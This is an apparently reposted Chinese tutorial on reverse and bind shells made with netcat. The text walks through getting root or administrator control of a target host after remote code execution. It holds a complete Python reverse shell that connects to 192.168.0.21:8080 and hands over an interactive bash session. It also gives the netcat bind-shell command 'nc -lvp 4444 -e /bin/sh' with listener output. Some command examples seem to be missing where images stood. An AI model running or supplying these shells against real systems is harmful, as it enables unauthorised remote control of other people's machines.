使用netcat的正向 / 反向shell


  • reverse shell

  • bind shell

reverse shell描述圖:

 

在此示例中,目標使用端口4444反向連接攻擊主機。-e選項將Bash shell發回攻擊主機。請注意,我們也可以在Windows的cmd.exe上使用-e選項。假設我們已經在目標主機上找到了遠程代碼執行(RCE)漏洞。我們可以在目標主機上使用-e發出Netcat命令,並使用Netcat發出命令啟動反向shell。

先啟動攻擊端的監聽:

 

再在目標端啟動反向shell:

 linux

然后可以在攻擊端控制目標端的服務器,以root權限;

 

win7

然后可以在攻擊端控制目標端的win7系統,以administrator權限;

 

python的反向shell:

 

import os,socket,subprocess;
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(('192.168.0.21',8080))
#重定向shell輸出
os.dup2(s.fileno(),0)
os.dup2(s.fileno(),1)
os.dup2(s.fileno(),2)
#執行子程序
p=subprocess.call(['/bin/bash','-i'])

 

 


 

 

 

正向bind Shell

 

 

在該圖中,目標使用Netcat偵聽器將Bash shell綁定到它特定端口4444。攻擊者使用簡單的Netcat命令連接到此端口。設置bind shell的步驟如下:

 

使用Netcat將一個bash shell綁定到4444端口。 從攻擊主機連接到端口4444上的目標主機。 從攻擊主機發出命令到目標主機上。

 

 

 

 

 

root@kali:~# nc -lvp 4444 -e /bin/sh
listening on [any] 4444 ...
10.1.20.x: inverse host lookup failed: Unknown host
connect to [10.1.20.x] from (UNKNOWN) [10.1.20.x] 6065
root@kali:~# a

 

 

 

 

 

順便提一下

如果有任何問題,你可以在這里找到我 ,軟件測試交流qq群,209092584

 

 


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM